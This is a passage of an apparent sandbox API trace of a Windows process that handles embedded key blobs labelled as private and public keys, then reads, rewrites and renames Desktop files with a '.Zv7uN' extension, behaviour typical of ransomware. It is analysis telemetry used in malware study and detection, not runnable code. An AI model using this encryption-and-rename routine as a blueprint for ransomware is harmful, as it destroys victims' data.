rCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.497] GetCurrentThreadId () returned 0xa30 [0127.497] GetCurrentThreadId () returned 0xa30 [0127.497] GetCurrentThreadId () returned 0xa30 [0127.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.498] GetCurrentThreadId () returned 0xa30 [0127.498] GetCurrentThreadId () returned 0xa30 [0127.498] GetCurrentThreadId () returned 0xa30 [0127.498] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\upgu6XAw0nd8_3Lb5i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\upgu6xaw0nd8_3lb5i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0127.498] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0127.498] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0127.499] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x152fb [0127.499] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0127.499] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x152fb, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f3d4*=0x152fb, lpOverlapped=0x0) returned 1 [0127.502] CloseHandle (hObject=0x1e8) returned 1 [0127.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\upgu6XAw0nd8_3Lb5i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\upgu6xaw0nd8_3lb5i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0127.508] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f3d460*, nNumberOfBytesToWrite=0x152fb, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f3d460*, lpNumberOfBytesWritten=0x18f3e0*=0x152fb, lpOverlapped=0x0) returned 1 [0127.514] CloseHandle (hObject=0x1e8) returned 1 [0127.514] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\upgu6XAw0nd8_3Lb5i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\upgu6xaw0nd8_3lb5i.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\upgu6XAw0nd8_3Lb5i.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\upgu6xaw0nd8_3lb5i.jpg.zv7un")) returned 1 [0127.515] GetCurrentThreadId () returned 0xa30 [0127.515] GetCurrentThreadId () returned 0xa30 [0127.515] GetCurrentThreadId () returned 0xa30 [0127.515] GetCurrentThreadId () returned 0xa30 [0127.515] GetCurrentThreadId () returned 0xa30 [0127.515] GetCurrentThreadId () returned 0xa30 [0127.515] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdaf520c0, ftCreationTime.dwHighDateTime=0x1d5e334, ftLastAccessTime.dwLowDateTime=0xba371810, ftLastAccessTime.dwHighDateTime=0x1d5dd2c, ftLastWriteTime.dwLowDateTime=0xba371810, ftLastWriteTime.dwHighDateTime=0x1d5dd2c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="xeOnABdo_Zx4RoO-", cAlternateFileName="XEONAB~1")) returned 1 [0127.515] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b36320, ftCreationTime.dwHighDateTime=0x1d5dae7, ftLastAccessTime.dwLowDateTime=0x927c7b00, ftLastAccessTime.dwHighDateTime=0x1d5dd3e, ftLastWriteTime.dwLowDateTime=0x927c7b00, ftLastWriteTime.dwHighDateTime=0x1d5dd3e, nFileSizeHigh=0x0, nFileSizeLow=0x62c1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZYdqwrH.pps", cAlternateFileName="")) returned 1 [0127.515] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.515] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.516] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\ZYdqwrH.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\zydqwrh.pps"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b36320, ftCreationTime.dwHighDateTime=0x1d5dae7, ftLastAccessTime.dwLowDateTime=0x927c7b00, ftLastAccessTime.dwHighDateTime=0x1d5dd3e, ftLastWriteTime.dwLowDateTime=0x927c7b00, ftLastWriteTime.dwHighDateTime=0x1d5dd3e, nFileSizeHigh=0x0, nFileSizeLow=0x62c1)) returned 1 [0127.516] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\ZYdqwrH.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\zydqwrh.pps")) returned 0x20 [0127.516] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\ZYdqwrH.pps", dwFileAttributes=0x80) returned 1 [0127.518] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.518] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 